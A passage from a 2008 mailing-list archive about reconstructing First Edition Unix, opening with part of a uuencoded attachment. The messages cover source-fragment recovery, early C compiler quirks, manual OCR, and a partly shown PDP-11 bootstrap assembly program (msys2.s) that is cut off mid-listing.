M]N1,G6^)8HL:I/4NO,@^*$7!N`[3_0=S/)EI6EQ,$W(_N!27E`IRS'NJM@;= M([&'/SR66"W3.W=A)YS$^]N. at 9?R(I-\?M,N-T!Y). at 4,F&WA30VGE\<+=,, M7)X].L4#4VV(&:"(I837]F%PT3%*>BF'&SF^1+^%,2ED#:2I68'TMA&UMWT^ M>WOI3MXS==?5CLG;0ZJZ&Q\:6DGN][!PY&JW72V;^V2[6/!$(8HSO,"33I+.::C26$/U$&BH3JU4J^V3N5NA6^P*#>DH$_!@CW'. M828[K5>3`)/G305`A! M2VQ_!8'=X:MUL[I-F$WD8WTHV&;B62POMS3"<'M13].*H;\((O;'V*JHJV5XX4Y8+[7&J=8FZ3,JP]T"D.=_G/^D-NZ30@,'NMOR MKVG]GY?^ZZ#_L^>-_Y*-LZ(=__?%_^?S_.`X>M=/_F'+ MCL(!#-*!<\0,;]G`B:^N!OF`?$Q?#8H!^9:^&I2(!N#O>.!O5,^;0_+=&EV6 MCZ"-YC!;S%]#ENN!W!"]&MP at UL;*4]RL^)#A5L&''+?<(OGN^]5\,6H."RR9 M07-!W`JJGKZ4TJY>TTZ^0\_H]&D\"&\$)]\!YJ,OU^PQ!!]O at -?9HV=YN4PX M2G[]_M>8*4^%C8?';(#NN.$A'X at C;G at N!G)S#I[+@;L)#&_CP:5,4PXMR43E M-X-+GJHB':R/J]%\^6E$-S8A)4-)!3Y``^R36UUR=X?CR:ZOK]'S%6\U"L.# M7G4ZHO1D-]GXVN1\0M">]";/;]0U^6T8P@>^%67K&P?T at 6]EUOK&X7WPVW7K M&P?[@6_CHO6-0__`-QQH](T#`:4WY;C]C<,"I==YUAZ#!`G2&$%=08+RFTS] MI=^V0@:-LYOK\*,/()069M*B<$)0;MSZ)L&%QGGNIMA]TU!#@#=;E6K at H9OR M.F]]DS!$X_)FG,??-"A1>9.FK8(:HBBU<_KD@$4YH';T?(^>\&_;X8OR at KI3 MYH7][((9W<`$91 at 3)BBMH8W at _,C)K?[U368^^T!'UQBUXS8=%]>VN`][E.=C M].%?7-OB+ at A2EM[<7+?[[D,BY=?D8[\!%.'O<^RH+P/I91#TUB^S,UG'UCIYB:[QN(W8UO3^LPVZE*<8TF",(2!\!A."";[?W,(Q?G/MOYN`3"FL+$X/ ME*W9]<&:<%7&\>SYT$VPYK at Y<.[-9Q?(:0QCQ\Z/<]-Y']8))S^'SJ>`0TK_ MW01Y at N:+$C/D8Y/!A'R"Q6]GL`&@8'QC2!YCD!^?P8>#`D2=M\;O at T,5XQR[ M=H,!6OQG%RHJ+P$\8N"S@:,R`LZH=A=&:IS*Y-N=8X)*0>>O87091JSQWUV( MJ1RFI_79!YPJQH!*;FD('K1M^*EQ68R+ /!:.B!748- at Y-Y;YB_)S;5J`J M]$[NCY$X;)7[Z at O;(%88T^.F#`J;D%;NJR]L`USAYW$1%#;AKMQ77]@&OZ*Z MP\(F%);[Z at O;P%@(*V78;1,F"_8FC-)^[0N:A;O88_THA!:>P>/PHPFHE5Z/ MBRSZZL-K`?P745D3;"L%Y%5&7WWH+2@[CKZ:0%Q0MHQJ-F&Y$/"#LD&0+J1P MLNBK#]D%4YY%7TT`+VB7CY/"?S7AO/`T*<+")K at 7UA-_]:&^I&%;M0W\!3.= M185-&+#TNKCI_HJAD:37P5^W!+ at HFYKXR M1,>AQ>!SZ=Q#DL$RWF1Q81>@S'VUA7VX M,L!UF2<;DL^-=HH!S\KDH,U/:AY^3SXZ^#8/1*:KDMENAZ12KV,\F4!V2F;B^ M]K,-6R>;VWXV0>R4V)+/<4@[_0R[%/B"K@!W4KPHD/-MA;O3[V/D[V^[@M]I M^9M"R@>A\)3PD>[%@?&4\C&?;9@\9;K-9QLT3QE]\]F&T%-2TE9N`NIAUXNH M#[>8)Q;C8'OTM8R_:N@]^CJ.OVH@/OIZ'7_5L'ST]2;^JD'Z\&M;/J,A M^[HB]B'*\NBI,WZ?9N&MU1/-#X4CGH#LC>T7RDELMN,J^>Y[R/PZ$M!$X?\@ MT_S3_'4DX8AB`D(FZ)O/U.IY8B,%`CEMZ-7N+T!0]RVHQ8"KLF!CH,Y at HUUVXIA",53D1H`]FA% M-,2!(69C0CF.;XB%<;JA:S#L$]$.8<3XOZ$+>]@RA2$=[(ZNU(5V;&2!_B8G M+1X[CA+3/Q,^@33/J;WHBXJWXP9GP'N[1:OQ:G^GEUW':!0/[UZMZ8((AM$+ M=]M%=Y[NV(5L.'#<]>H+EZ0NU'B#E%>5BZ&"69/(WC:PE4?M[[F_-=/Z8'2Z M>J6\N+&NU4P^KQW4WKM;MZ%E'EW`3N5F[]FUO+2,_`MS80&KTJN., at ZYA\RO MYWF:)-G_A];3&'_]+V,A_&[\N_>\S MQW_$6(%M^\^;%_WO<_R`4'E[4O_KPS]R\(2+K!P%_Z6Y?0^RY?DHN3"?\[PS M6_]_7YL-&T#/Y-FU-)CZ_]![NF9+1UW_%6\O83C7FBV_N1SED)2_NQP5*?R7 MP7\Y_%?`?^@=E[,58WB]ON1:<#)2;;`UA!1J2-$^!6I(2_@/BJ90-+UQM:70 M8`H-H at E5!MG1G"6#[!EDS\8N6P:E,N@?[-51!MESR)Y#]ARRYX7+ED.I'!K) MM7^YGY3"-_K+]XT6ZSI84[S1L%AA8$QN?+BIUO5\2V$>)84B0\JSQOM\?P5_ MKZK#.JLPG*C&_73)N4\N3')!R1^7D$1Q2<4RGZ-'#@<7V6W__X=;CO6(]TJ. M"]3(X^$W$/KQ*\*$QM$GPWB<:/ZW<5$@F21(OD^0D[@<,FF`'QVU<#D$VD\J MLZ$S,Q^N,[-A/#,R/>,IIU>>`QN8\[H5R7)KPWWR!)BO-BHGE+3]7RY<2_S- M!U_. M_^?X]<;_]`9@&@9TW7*%$P7\E-WYK-$_G:\;+/]5$3E-XCE;I*,Y:_[38W7F M?&U2VHWO""YLIW)C76OB`7RS.)]N)2(GTA(#,W2:8YGE?QOA0$T,T+](!-#( MUT86"$.^85#/YXGIB==%'4`P7/U;#O#I8WH&L3[[PWN27^X[O%H.U,V!E%O) M=I'LEW?W!SNF;Q3Z,_W*J)]I+, at RZVLE2>&UT\X(G%VQ/HT;QB>%^XI[OB?']<1A_\20GC]Q at M-V]9TQ/=.I1O MWXO^I>,_IN.LZ/#_\G+_XUE^I^,_9D^-_TBNT83(=Y$8OR;2 MH_4:$X8*,33^3PWQ^)6A'%U\QCP(SY at 5Y$QCERQ<1$"\P'+8BGGJ8]$;7?'5 M',URHX(:U3%HQ%U6B?)^NYB/69$DW"#JQYO1/FK*!(.,HAB&,[_%NM;L31:N3D&L]L=.Z>O1(N#/G MU.5K0YV=C&^&'1'NA2KO#H,1AR9S?>&H=]$X4)W/$<1:@R"BH1CV><3[/SQE M(1>L!4#)P2S*`24`V>"*K0),HU\3<^R;1!M[/,08WZ%Z0E0Q4AQSRCA_>O at M M"K]NP`>M$;:;T[&V-(+-3YV":$'[/2\9-TH^=M:WC99%_C!_5HRL4]&`NH)> MQ2[+C!X[C':%G*3>?Z-[D*T)-0&:PHJRRCS3>29ZV>'7Q(/9)8'\Y[@A.,* M#S,3C^DERM++K_O7Q?\]<_RGHC/^TPO_]RP_X/_&)_F_$Q[_U85AZ._?((2W M'GON at AC`;PW20%D.- at BO#E_S)Y1/6V-'/,T@/+?=L M[)9.'\,B/F_SM6B[5QHL334[4YM75R/XS[W]\'Z4I,78O?\&7YVURJN_PM<; M9ZLQ0FDXS8V>\"E[<)&AFL.!9\08FN)0G5OPZTLO1]1$LAU!#TX\?:H-V-/, M#BG1SQR\3#'R.;+DF2'N>4',##?DU89D"//.;]V\/'W2D#U6OIAZS4GJO,FK MJ+*,0-,J?+J^29F.&+((2/WP["@*ZR+;)XJG=`)&RWX at S+:/:P[F#4`^9#AU M0N7W[4[CSI1!9_%$$B\6NQ7KGC7I6<>T84^B:6O- M5=F:*TU$$V=B=DK MW/3(%[NBT34RJ),ZO+R M\4RLBY3\02\%Q9/#Y_'(>'IL]2,H38X-,VG/W2?).T82"$/U.H6/MM)S-\3< MH%`U1'!-)/771-*G7A-)?<@WLPAR;21][>CXPOF8YML at 9=\UD?C#=,#&49E$ M*O1F(G#XZ;T0-H<-_90Z[]MER[>?=S$HOOT:Y]6^Q[D?^O8K0]]^I;W%(OU^ M/(&#HKMO>_)EB[6[:/.E-563GM,W"2-0W'#@,8WWT:*'HOYUF^[TV&89AX4( M:6V2,^*;C/X_YCR4QH]B<3.E_HA!4V@&Z`@Q_#L.=@.V$"GG7J7PWSO/"M#< MH7-V,>_@'39V0C9ZQ)UG=F2J!GY"?SJZ:]I!7R\ZTBY#NP7HGMF8>31%9E^& M9G*GUB^2K>Z-4^BQ4Z"2CUP2NCG?R9G7#TJS M^XF#GI$U_2`G_C@'9C at 4G)(-N8?JB9X+OR$;;JJ`U#KXIH8IF;B`I9H[Z&H- M;:G(*`YQR1$NI[-&*?6!I=QE+ERW".%)C$OI!0%+JSD:(+G7)=^*D-FLG2IC,QES\3%][0.9INZ: M)[H>&8B!/G<8O98A_DO9F at I61CN:3FUD6W8H*SG?_Y8"#V"/DJ!+4^=K6+A= MC@\5XKHV%7`V[F;\WN@(,\L^6?-5H[?A8F at Y-/5'5A]+V1EPH=1%_J7IJ7]K MOR[Z_[GC/]X4'?&_7^(_/,OO=/S'[*?%?XR0HM*75FO=:%0Z$<<`%7F69X,K MU/[KZ>S-`_))F#%'^Q"Q%3`1[NATDG;CP(DGXU%^VV"2\^UA77U6K*?F`H:R MUT"0?#,,S060(*99L2$T.[+\Y"B5F5^*MD8_B%*)GNKHQKK8BW8[2Z^G[ MK69,K*]`W?X7#+?Y1/S?=?X_<_Q'=(G5EO^5+^?_<_Q.QW_,?%PYXC_X2G;G M?8*`*P@"N3E>(+7<.&R'-\K;M/5Z,=M"6R.PUC41]WK%%#9J')T*/ES&\T>0 MRUH1Y%H,>B][D_J;$MDS1)#;<1V=\\_Q._P>T4MO_R_4+__+$G[;1V+I;"=1'I\H7T]'H.$>\GT0@[7)QIO%!FH@"I M4BA?0)C)43")(9DU+MI7IZLL- at O&R6W>)M>!%B15H;=&XW*2OM9Y(3EL?"&3 M26:#PP;5L]LD7^`1XR-:V0!$ZA.NE99WI!4F&!%B0J3"M0(M)!G91QWD0;:2 M9>?OK^K##(.(HCL5Y/K>7]SAHQY4072K4+`H!Y37$Z6>;):SRH62T_.(#"S2 MV!PE..E;D5R1GL at FJG,;NR7HR9H'-QE#GEL/3(:Z)X\JD_416,4%ABZ1$S?G M@:#=2JY4V+M+YJY)(L(O<"+_*!($U3GV"8&QK5__]H>-6>9?&@F]_'ZQ7_O\ MWW_CT__1^%]%>AV?_\5-_F+_\2P_./_W>/Y7^]G]\E-]M5I. at 2?[,HS9#[ZL M).Q#/3 at V@$U.**J%D3)H.WL=EP.6KYA"$!*4>RT'N'+'>'=C"@>P!?!#SYL&4EGL:;;/?V.H7 MNL5]B#RJ4&V0]`JP\FR[1C<81WHZPM.(71BG7;O8$C'2^X7VX.D08O;0GCL'8:*F4/ M at CEBOR;NL%5S'2Q#66G*#HNMK])2)!ALUAV7;"!Y5Q^JA50H"ZHF(:H1Q2,N MY=/46+=6BZ55+1,5FO-"(H=(X6)YV>#1 at S>=^W9`_#7L07M8T:K@'MML#QA` M6+9:LMCNU]4A7*7U!R"L9+ at 8N8=G@#KKQT/[`]//W\I>XA='!`RH&EJ/PT)! MSSLM1B=Z`0'";60E-\%%=-9H:?SD[RC@ M<#@%L+[SI9O>Q=+!)R\;?+M%%X->!$LOT=73]2S5NQTS6ZB5PL\XTUTSE M>293?V<2%H=FY^VE5_F[WJDEGO%;-55#"#H1IJXBIJ')UW&TCNB\T'=T],ZX MDW98@?<13Z?;1WBI?&\!^YW%&O)5IGJQW)IJG=10(FF?FHFL;R8R[[\L-QZQ M>2IT[E&BA0Y(UP>M&%/0%2FF.&T7";Y&6XPRYA/RT7H[KWVIZQ$"([_#EHZ1 MOM]5'FYSUQ&8@&@7&A:>O`6EWCUW&LAY>]JC\LS8=AS;,`V[>SZWI\L#[ACN M?%^EO&$RW"U=719>.4(-"D2TUE+JW?1IF-R at L>B4O6^^OK;=?=74"0G:P]IF MV]V7A0+X$U=-G9417AJ],TQQ%@K at 1>?H1:;.S$G-+/->)&R63Y<_:RV_+N'7 M@$#O'0 at YR!-%^N0X`#-MO/G4C at 7_,T6Z at _ M-KF;M(U=*]QH;/M4Y<6FZOB1I)V&S^M:]V1S at G9K>:; M^B$@,`7P`PI3:&)S^CA'$V)QKCGL:<3BIX5W+^E%9C*&@R>SS at XZ*KM/D1'R M5*.0L?)&A#\K[@$Q+ORU-OZ&44K-1U<'4CC\P1AGXIK=)J^\^R"^#>J."(J' MX9E/26=\'%K_95HM'.H_3I^18R[+4#,E%?%!BQ/26U]KG^_JA M%U\U]/G/''K6.<(\'F%WM[D_\Z]?--.9C3I-W0]X&8;8W383L]EZ'J[%OLSV MAU.<#^.A4^6QY9`B]VB1B/'4JFX#Z8.2YOCI(I at L6=9P#BH[!YX]I,!@6^!4 M<2#'79/,CQ3X'"L-S;X#`B'ANY;L50A^XSSRF'[$'' M;"L?1X\?M ML[/-"G-6U%BIK(9Z%I$,Y"V?HP9\.JPK\XU@>S*XR,J;RR%>JVV:X1`()_5( M#T"KCP>?>O"I0)#I(]^ZHY=WEQSF@#SR?S+>^:79@\^:#UEP0BD)IB"[B:(ZV0X"MJ#R#G&TS]PQ]ODW^F M:E:C9?,P^C!:(K4S6H[^##4L%]]=7&"1Y/WW"4HO_YF^)O!R.QS0!WZ\VQZV M"="Q*WC^E^%PA1%/;HG!Q at 84)JR^^^_5?-9,?-LD/FU]3Q_ZP^N-K M**8UH[CF.TX_/__C*.5OW_'G]]0+7Y.55"\WP%8)K?9K+$6JB._HZ5_07_@# M4FPP2&CDS_`?=7P)#Q?05:`E28$RX#Y_-_W#^?GRC_`1CF%N^_7KY%<\"0.< M!LP"&7[S/5!HKY+_E-`;S-*K'U^]3OXOS.0S_"[(\+]>O:9*!O\\^\.?88C0 M"'Z[I32:2.P+O_X+_ at N-4>'OH?#%*^Y`1U'N4W>W@?]\]76-8G5_QB:SUW9Q M\0/-8"8O.G\#-W7=G<#.)]*'_ROQ`_KA@/-E$Z"GK[G"GS`_6!I7!SOYJZ[. M`PC^_1A8>=M%WLS]\@&RO;7<\3_,,MC5!C!LC at M90TV7`CT=2 at O7;LV8A&_7FY(=(G/^`6_ M&Y:N>5@>T&@`/XD^7TN@)N>=L)W=/A7LJ MW=/8/5V[IQOW]-8]O7-/K[`'&'B98M85VA!IY94!P1.3/M MRK+R6:`V88;Q,INY:/9CO1?+"9WF"W.O*QLM6O4N?*WO)F2/0IAS.*1)M6*S M]6ZYJGVKWG%+X$?`A8_A#J,(6$5VV#G.Y12YF-'WV9HZNGN4>&WJ278;[3 at 0D;U at -P1_<1F/_OEU[%6T5-(UCE&3D&215&0U&R71QD]#D M&#>`?L1+,WZ6!0IW=?UAYMR-A)*HF=>1O4K#&RN4]D[LL7":=U]DF at OC.B0+ M7/Y$AL"N;8.!C,\[@E!*)KC&FZ9%-"OFOI*F47R at PFV%?2&3ZV8KV%AO)T&H M%\(1\0PX(]W-_$.X>G_X@'5??$"9SA]1S.44[=1WXY&&+*-Y#L3*I'!6:I1J M70>79KMZV%/%S86_S`LY.V'0C97Z/+&^G1 at 0/K!Z)S>RZOQUU`MQH>0DJ)KM MW+M!KC^PRLCUU-QD)8-\;+&8!*:(SBH;NU8I9-)$=D132UN=@D8%5()&L\`2 MV^#:P%2N'<4G5`SJ/5!,G6V/&R_=/\/K:DA7XVK)C#L[$=+S2>!M*\F\3:34 M"35J<'LL/XTX'%/RL&./M$E';1E5:=],=51, M]?B8T796\J+J]-TT7EK*GMN30Z\2N_7B6N3(66T)2T?S0&E>DKW!S%*4N^-* M-T%6F(9-U3$--D^(P$*B`=G?I=6S1!A]U[+,XPRX=7<8B2VX_^YN%;Z;^N;W MW'EL((*(?NBWE^,#5Q*[]X813CF=0Y1`Y"EI522NCY,]Q_<)SV49'.Q M77+Q.O!PK[!.N!LU(L5K`R4'AA*G-''3&%@.\*U\ M)Q\R9(.I?;Y!CU1B:J84W&)[/#BU8GI[LQA>SBM`!C<3:_B"HYFP!?8E\DP= M9?6FFU%EDK7LFJT*"61P3LZNQ^/B^O)"LB#4:![O[@YS!J>>0SEK8[C6-N-N M4#^[ODV8)GJ':)92)H/W_^-O_^XWMXDWM[6K'+IQ=&#B%-"EN`T4$J,,8)12 M:6H]67*&0IY1OB#5(KFFH`R%`\XE+-XP]KS"H[ZZ2JKI]E.=+)MDL=^NDT_C MA.03HV1:K[8/+KW)$M17I,C(_A=@Y/\69F9Y$-K:J2VWIB<4I<[XAN%>L%W4 M)K)UPF\3DNVE[2SBI\ROM0/G)8%>X2Q&K9OPEE-C=YFML!!:>%#W$.&=745V M/B:>'F/I)%'>;KD",DI7!`5X at D-[T+;VRA)%KY(KAYS[2?A$#([5=62KNBXD M#?A8^G0.?YOECS%:MG%O)*`AV3NU.FG#\A4]HJD\C MN9HNN*@(75[F4R4SR0T;Y/<#E5DON[XK(>\:*3I6 at 3V.P%&'B:>/N at 5*=;_9 M6>4Z,6GJ#B;N1W,ZA+#OC1AP:E'Y)A<[(,-HG"]HG-?ZY M6#B3LW=3Y]N12&)C=,E=,::(9UAL)!V`@7"[[?9"HU\FS8\F1S?RN]'9[TNQ7*S/#AG_&>OJM'' M&E#]^5MGI<-F>Y1JJ'_U_V=,9GO:XL?F8L/RF M;^C#SG$[8EZO2+?%4^K4UV:?"7?U<5K-%_;ZT:'>NZLC]ASP%]=#8L!VHBO>"Q$0JO8W-XE!EYR+R\])QZRR;^T"/KE M]_)[^;W\7GXOOY??R^_E]_)[^;W\7GXOOY??R^_E]_)[^;W\7GXOOY??R^_E M]_)[^;W\7GXOOY??R^_E]_)[^;W\7GXOOY??R^_E]_)[^3WQ]_\';U%52@`X "!``` ` end From wkt at tuhs.org Thu May 15 11:10:54 2008 From: wkt at tuhs.org (Warren Toomey) Date: Thu, 15 May 2008 11:10:54 +1000 Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments In-Reply-To: <20080515010050.15AA45A525@remarque.org> References: <20080515004822.GA2369@minnie.tuhs.org> <20080515010050.15AA45A525@remarque.org> Message-ID: <20080515011054.GA2931@minnie.tuhs.org> On Wed, May 14, 2008 at 06:00:50PM -0700, Doug Merritt wrote: > This includes the ed2.s constructed from frag0 plus v5 ed2.s, > which is therefore a less a reconstruction of lower fidelity. Thanks Doug. I'll do a cross-check of both our efforts soon. > What's next? Do we have OCR on the various manual sets? I'd > like to reconstruct the roff input. 1st Ed: http://cm.bell-labs.com/cm/cs/who/dmr/1stEdman.html 2nd Ed: http://www.tuhs.org/Archive/PDP-11/Distributions/research/1972_stuff/unix_2nd_edition_manual.pdf 3rd Ed: http://www.tuhs.org/Archive/PDP-11/Distributions/research/Dennis_v3/v3man.tar.gz The 3rd Ed ones are machine-readable roff format, so it would be possible with some effort to recreate the 2nd Ed roof source using 3e and lots of elbow grease. James Markevitch is working on an OCR of the 2e manuals, so when his text version becomes available that would help the work. > Still debugging my disassembler (and an ar tool with amazingly > obstinate bugs; it should've been easy). Let us know the progress: having a good disassembler would be very useful. Cheers, Warren From newsham at lava.net Thu May 15 11:11:17 2008 From: newsham at lava.net (Tim Newsham) Date: Wed, 14 May 2008 15:11:17 -1000 (HST) Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments In-Reply-To: <20080515010050.15AA45A525@remarque.org> References: <20080515010050.15AA45A525@remarque.org> Message-ID: > What's next? Do we have OCR on the various manual sets? I'd > like to reconstruct the roff input. dmr OCR'd the first ed manuals and used those to generate ps and pdf files: http://www.cs.bell-labs.com/who/dmr/1stEdman.html I don't know how accessible the raw text is in these formats, but you could always ask him for the .doc sources if you needed something more mallable. > Doug > Professional Wild-eyed Visionary Member, Crusaders for a Better Tomorrow Tim Newsham http://www.thenewsh.com/~newsham/ From wkt at tuhs.org Thu May 15 11:46:08 2008 From: wkt at tuhs.org (Warren Toomey) Date: Thu, 15 May 2008 11:46:08 +1000 Subject: [Unix-jun72] s1 fragments are now in the svn repository Message-ID: <20080515014608.GA3761@minnie.tuhs.org> I have just spent some time reconciling the differences between Doug's s1 fragment reconstruction and mine: we both had roughly the same # of errors, and having the other's work was great. The repository has all the files in src/cmd. I have not tried to assemble all of them yet, so any reports here would be good. Remember, the C files will not compile with the existing compiler. Cheers, Warren From wkt at tuhs.org Thu May 15 12:34:26 2008 From: wkt at tuhs.org (Warren Toomey) Date: Thu, 15 May 2008 12:34:26 +1000 Subject: [Unix-jun72] s1 fragments are now in the svn repository In-Reply-To: <20080515014608.GA3761@minnie.tuhs.org> References: <20080515014608.GA3761@minnie.tuhs.org> Message-ID: <20080515023426.GA5082@minnie.tuhs.org> On Thu, May 15, 2008 at 11:46:08AM +1000, Warren Toomey wrote: > I have just spent some time reconciling the differences between Doug's s1 > fragment reconstruction and mine: we both had roughly the same # of errors, > and having the other's work was great. The repository has all the files in > src/cmd. I have not tried to assemble all of them yet, so any reports here > would be good. Remember, the C files will not compile with the existing > compiler. Most of the files assemble, and I've created a "mak" script to do so under 1st Edition. C files are out, they need a later language than the last1120c compiler. We are missing some files for bas. The dc and form source uses "new" instructions like mul and ashc, which the existing V1 "as" binary does not understand, but the assembler in source code does understand, so these may still be assembled. Warren From doug at remarque.org Thu May 15 13:03:45 2008 From: doug at remarque.org (Doug Merritt) Date: Wed, 14 May 2008 20:03:45 -0700 (PDT) Subject: [Unix-jun72] Observations about this ancient C dialect In-Reply-To: <20080515014608.GA3761@minnie.tuhs.org> Message-ID: <20080515030345.151AA5A525@remarque.org> Warren wrote: > Remember, the C files will not compile with the existing compiler. For your amusement, and in case it helps, below are the notes I took on observations on the weirdness of this old C, from reading the C files and the C compiler source code the first day of my start on this project (Apr 18 -- long, long ago :-) E.g. the "C preprocessor" didn't exist at the time, but an "expand()" function was called on lines starting with '%', to perform a non-recursive file inclusion. (BTW I've spoken with John Reiser since then to check some history. He said he arrived at BTL in 1977, and did much rewriting of cpp largely because it was a buggy crock. That places him significantly later than my previous understanding; I had thought he implemented the original cpp championed by Snyder and designed by Lesk, but perhaps...but no, Lesk wouldn't have cranked out cruft. Hmm. Some years ago Snyder more or less told me me he denied much involvement in cpp, beyond pitching the idea of macro processing. Could mean any number of things. :-) Always seemed strange, though, since McIlroy is the one with a large historical presence associated with macro processing. History is confusing.) I've used the pre-stdio "portable I/O library", although my notes don't indicate so, and there are other real or apparent signs of cluelessness. My own Unix involvement originally went back only as far as version 6, and my memory is imperfect anyway. And there are plain errors. This is as-is. See below. Doug -- Professional Wild-eyed Visionary Member, Crusaders for a Better Tomorrow --------------------------------- cut here ------------------------ form1.s: daytab gives 29 days to february (changed to 28 in Unix v5 s1/form1.s), perhaps confirming that this source code is from 1972 in particular, which was a leap year. cc.c: Exactly 2 flags (other cmd line "-" treated as input files): -c produce .o, as today -2 Use Fortran startup,loader ( /lib/crt20.o ) callsys("/usr/lib/ld20", av); library: av[2] = "/lib/20.s"; callsys("/bin/ld", av); No C preprocessor; function expand() does include files marked by input lines starting with '%' Non-recursive. Appends SOH after each newline. Weird. Verbose; if more than 1 c file, then: printf("%s:\n", clist[i]); Automatically sets -c flag if expand() fails. (cflag causes early abort, no later stages) ...ah, that just means "early exit" if (av[1] == 0) { cflag++; Passes: av[0] = "c0"; av[1] = expand(clist[i]); if (callsys("/lib/c0", av)) { if(callsys("/lib/c1", av)) { callsys("/bin/as", av); moves .o to a.out before calling ld callsys("/bin/ld", av); tmp files: tries /tmp/ctm0[a...] until finds nonexisting creatable name That one is just used as filesys lock on this range of names Then uses /tmp/ctm[1..4]a for pass tmp files No '=' for init, e.g. char *tmp0 "//"; Exotic keyboard interrupt handling: intr(delfil); ... delfil: dexit(); Single '&', '|' used for both bitwise and logical, e.g. return((status>>8) & 0377); if (nc==1 & nl==1) if(link("a.out", t) | unlink("a.out")) { Old style op-equals, e.g. s =- 3; Exotic file I/O, 259 int buffers: int ibuf1[259], ibuf2[259], obuf[259]; if (fopen(file, ibuf1)<0) ... if (getc(ibuf1) != '%') { if (fcreat(tmp4, obuf) < 0) { while((creat(tmp0, 012))<0) tmp0[9]++; Buf struct: ibuf1[1]++; /* back up over % */ ibuf1[2]--; So file buf[1] -> avail count file buf[2] -> first char index/ptr getc() decremented the first, incremented the second file buf[3] must hold the file descriptor Same process management as today; callsys uses: if ((t=fork())==0) { execv(f, v); printf("Can't find %s\n", f); exit(1); } else if (t == -1) { printf("Try again\n"); return(1); } while(t!=wait(&status)); if ((t=(status&0377)) != 0 & t!=14) { if (t!=12) /* interrupt */ printf("Fatal error in %s\n", f); dexit(); } return((status>>8) & 0377); cp.c: No structures; just array of int fstat(fold,buf); mode = buf[2] & 037; Return status survives func call, used as exit code: fstat(fnew,buf); exit(); ls.s: Uses both "jsr, r5" (mostly) and also 3 "jsr pc": jsr pc,ctime # external func jsr pc,puid # local func jsr pc,do # local func I think pc is with stack params and r5 is with funky param-in-next slot after jsr, mostly Indication of structure of stat() buffer ("dska" is perhaps "disk address"? "dska" also appears in frag0): mov (r0)+,(r1)+ /flags mov (r0)+,(r1)+ /nlinks, uid mov r0,-(sp) mov (r0),r0 jsr r5,calcb add r0,tblocks mov (sp)+,r0 mov (r0)+,(r1)+ /size add $20.,r0 /dska, ctim mov (r0)+,(r1)+ /mtim mov (r0)+,(r1)+ mov statb,(r1)+ /inode uniq -d, -u: Routines defined and used within ls.s: calcb decimal do gstat mode pentry pstring puid questf Routines defined but not called: eloop # branch target euidbuf # data synonym listl # branch target loop # branch target nondir # branch target pass2 # branch target pass3 # unused branch target Routines called but not defined: ctime flush fopen getc getw putc From wkt at tuhs.org Thu May 15 14:23:00 2008 From: wkt at tuhs.org (Warren Toomey) Date: Thu, 15 May 2008 14:23:00 +1000 Subject: [Unix-jun72] early C library source found Message-ID: <20080515042300.GA12675@minnie.tuhs.org> All, the file http://www.tuhs.org/Archive/Applications/Early_C_Compilers/last1120c-bits.gz which is a tap(I) tape image, contains a file called libc.sa, dated Jun 7 1972. I never noticed until now, but it contains the source code to the C library for the last1120c compiler. I've added it to the subversion repository under src/lib. Cheers, Warren From newsham at lava.net Sun May 18 04:06:25 2008 From: newsham at lava.net (Tim Newsham) Date: Sat, 17 May 2008 08:06:25 -1000 (HST) Subject: [Unix-jun72] UNIX V1 bootstrap In-Reply-To: <200805111413.HAA16057@mist.magic.com> References: <200805111413.HAA16057@mist.magic.com> Message-ID: > I've ported the bootstrap stuff over the whole UNIX V1 build process. > (Note: it would be nice to have a V1 as, so that all of these hacks > we've been doing can go away). Did you write bos.s and msys.s from scratch? I noticed your wunix contains no header, just the binary bits. Was this standard procedure in other versions of unix or is it possible that the msys program took in an 0405 or 0407 and stripped the header off before writing it? Is there an easy way to strip the header from within the unix system with standard commands? > James Markevitch Tim Newsham http://www.thenewsh.com/~newsham/ From jam at magic.com Sun May 18 11:04:48 2008 From: jam at magic.com (James A. Markevitch) Date: Sat, 17 May 2008 18:04:48 -0700 (PDT) Subject: [Unix-jun72] UNIX V1 bootstrap Message-ID: <200805180104.SAA27787@mist.magic.com> > > I've ported the bootstrap stuff over the whole UNIX V1 build process. > > (Note: it would be nice to have a V1 as, so that all of these hacks > > we've been doing can go away). > > Did you write bos.s and msys.s from scratch? I noticed your > wunix contains no header, just the binary bits. Was this standard > procedure in other versions of unix or is it possible that > the msys program took in an 0405 or 0407 and stripped the header > off before writing it? Is there an easy way to strip the header > from within the unix system with standard commands? I wrote bos.s and msys.s from scratch. I am not aware of any binaries or source for these. bos is written in an entirely position-independent manner so that it can be compiled with a v1 assembler, v2 assembler, etc. and still run when loaded at location 54000 in core. Other than the option to load a paper tape, I believe this to be as true to V1 as possible. msys was implemented to be as true to V1 as I believed possible. It copies images directly from disk without modifying them, as I believe the original V1 msys did. There is no header kludging, since a V1 a.out UNIX kernel should be bootable without modification. For wunix (warm unix), I took the build/loadfile, stripped off the first 6 bytes, then copied the next 16K bytes, just as the boot/installboot script does. For building under UNIX itself, there are a variety of strategies. Here is my list, in order of preference: 1. Use the V1 assembler. This will produce a 12-byte header that is exactly compatible with the kernel source as it appears in the listing. As many people on this are aware, the first 12 bytes get manually patched by the UNIX code when it starts up. But, I don't think the V1 assembler exists anywhere, or at least not that has been found. That kind of makes this option moot. 2. Modify the V2 assembler to produce V1 binaries. If the V2 assembler can be built from sources, then it should be straighforward to edit it to produce V1 binaries (i.e. 405 instead of 407). This would allow a kernel in the true spirit of V1 to be created, then copied into the boot area by msys. It would also allow other programs to all be created as V1 binaries, which has a lot of attraction to me. 3. Modify msys.s to be msys2.s to strip the 407 header and also truncate the copy to not overrun the size of the area being copied into (1K, 6K, 6K, 3K). I just tested a modified version of this and attached it below, since that should help to get things going; but I really think that option #2 would be nice to have eventually. Note to use msys2, you need to copy build/a.out to fs/usr/boot/unix.out, and to put msys2.s into fs/usr/boot/msys2.s. Then after you boot, do: chdir /usr/boot as msys2.s mv a.out msys2 msys2 u unix.out I'll clean up the source and send a complete fs/usr/boot out later tonight. James Markevitch --------------------------- fs/usr/boot/msys2.s ------------------------- / msys2 -- copy file to RF read only slot / / re-creation, based on description in UNIX_ProgammersManual_Nov71.pdf, / page 7-06, BOOT PROCEDURES (VII) / 5/9/08 jam at magic.com / 5/17/08 jam at magic.com -- hacked to copy 407-format a.out files / b bos 1700 / u warm unix 1704 / 1 cold unix 1734 / 2 unassigned 1764 mov sp,r5 mov (r5)+,r3 / argc cmp $3,r3 / must be 3 bne badcmd / else error tst (r5)+ mov (r5)+,r4 / get first arg cmpb (r4),$'b bne 1f mov $1700,r3 mov $4,r4 br 2f 1: cmpb 